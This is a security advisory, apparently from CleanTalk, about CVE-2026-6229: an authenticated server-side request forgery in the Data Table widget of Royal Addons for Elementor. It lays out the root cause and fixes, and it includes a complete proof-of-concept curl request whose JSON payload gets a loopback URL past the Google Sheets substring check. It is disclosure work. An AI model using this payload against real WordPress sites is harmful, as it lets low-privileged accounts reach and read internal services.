CVE-2026-6229 affects Royal Addons for Elementor and is an authenticated Contributor+ server-side request forgery vulnerability in the Data Table widget. In versions through 1.7.1057, a user-controlled CSV URL can bypass the Google Sheets substring check, reach arbitrary internal or external HTTP services, and expose response data after it is parsed into the rendered table.
| CVE | CVE-2026-6229 |
| Plugin Version | Royal Addons for Elementor <= 1.7.1057, fixed in 1.7.1058 |
| All Time | 19 505 133 |
| Active installations | 600 000+ |
| Publicly Published | May 1, 2026 |
| Last Updated | May 2, 2026 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://www.cve.org/CVERecord?id=CVE-2026-6229 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/royal-elementor-addons/royal-addons-for-elementor-171057-authenticated-contributor-server-side-request-forgery-via-csv-url-parameter |
| Plugin Security Certification by CleanTalk |  |
| Logo of the plugin |  |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| March 16, 2026 | Plugin testing and vulnerability detection in Royal Addons for Elementor were completed. |
| March 16, 2026 | The vulnerability was reported with PoC, description, and recommendations for remediation. |
| May 1, 2026 | CVE-2026-6229 was publicly published by Wordfence. |
Discovery of the Vulnerability
The Data Table widget accepts a remote CSV source in URL mode. In modules/data-table/widgets/wpr-data-table.php, render_csv_data() allows the input when the extension is csv or when pathinfo() reports a dirname containing docs.google.com/spreadsheets. The second branch is a substring comparison and does not verify the actual destination host.
A Contributor can place the required marker in a query value while keeping any HTTP endpoint as the real destination. The URL then reaches fopen() in wpr_parse_csv_to_table() and detect_csv_delimiter(). No strict host allowlist or private address block prevents access to loopback and internal network services. The response is read as CSV and part of its data can appear in the rendered table.
Understanding of Server-Side Request Forgery attacks
Server-side request forgery lets an attacker make the application server initiate a network request. The destination may be an external host, a loopback service, or a private network address that the attacker cannot reach directly. When the response is also returned or rendered, the issue can disclose service banners, administrative data, and other internal content. URL checks must validate the resolved scheme, host, and address instead of trusting a substring anywhere in the input.
Exploiting the Server-Side Request Forgery Vulnerability
The following non-destructive PoC was confirmed on Royal Addons for Elementor 1.7.1049 with a Contributor account. It saves a Data Table widget that targets a loopback HTTP service and demonstrates the filter bypass without contacting a third-party system.
POC:
POC: 1. Log in with a Contributor or higher account. 2. Create a new post in Elementor and intercept the editor save request. 3. Set TARGET, COOKIE, POST_ID, and NONCE for the authorized test site. 4. Send the request below. ACTIONS='{"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"f2c791c","elType":"container","isInner":false,"isLocked":false,"settings":{},"interactions":{},"elements":[{"id":"54c0086","elType":"widget","isInner":false,"isLocked":false,"widgetType":"wpr-data-table","interactions":{},"elements":[],"settings":{"choose_table_type":"pro-cv","choose_csv_type":"url","table_insert_url":{"url":"http://127.0.0.1:8081/?asd=/docs.google.com/spreadsheets/d/ping"},"display_header":"yes"}}]}],"settings":{"post_title":"Elementor SSRF Test","post_status":"publish"}}}}' curl -sS -i "$TARGET/wp-admin/admin-ajax.php" \ -H "Cookie: $COOKIE" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "action=elementor_ajax" \ --data-urlencode "editor_post_id=$POST_ID" \ --data-urlencode "initial_document_id=$POST_ID" \ --data-urlencode "_nonce=$NONCE" \ --data-urlencode "actions=$ACTIONS" 5. Observe the request at the authorized local service on 127.0.0.1:8081 and the response data parsed by the widget.____
On a vulnerable installation, the query value satisfies the substring check even though the real host is 127.0.0.1. The WordPress server performs the outbound request and the widget processes the returned body as CSV.
Recommendations for Improved Security
Site owners should update Royal Addons for Elementor to version 1.7.1058 or later and limit Elementor editing rights to trusted accounts until the update is applied. Developers should parse remote URLs with WordPress safe HTTP helpers, require an explicit scheme and host allowlist where remote spreadsheets are supported, reject loopback and private address ranges after DNS resolution, and repeat the address check after redirects. A query substring must never be treated as proof of the destination host.
By addressing Server-Side Request Forgery issues like CVE-2026-6229, WordPress site owners can prevent low-privileged accounts from using the application server as a path to internal services. Stay vigilant, stay secure.
#WordPressSecurity #SSRF #ElementorSecurity #WebsiteSafety #StayProtected #HighVulnerability
Use CleanTalk solutions to improve the security of your website
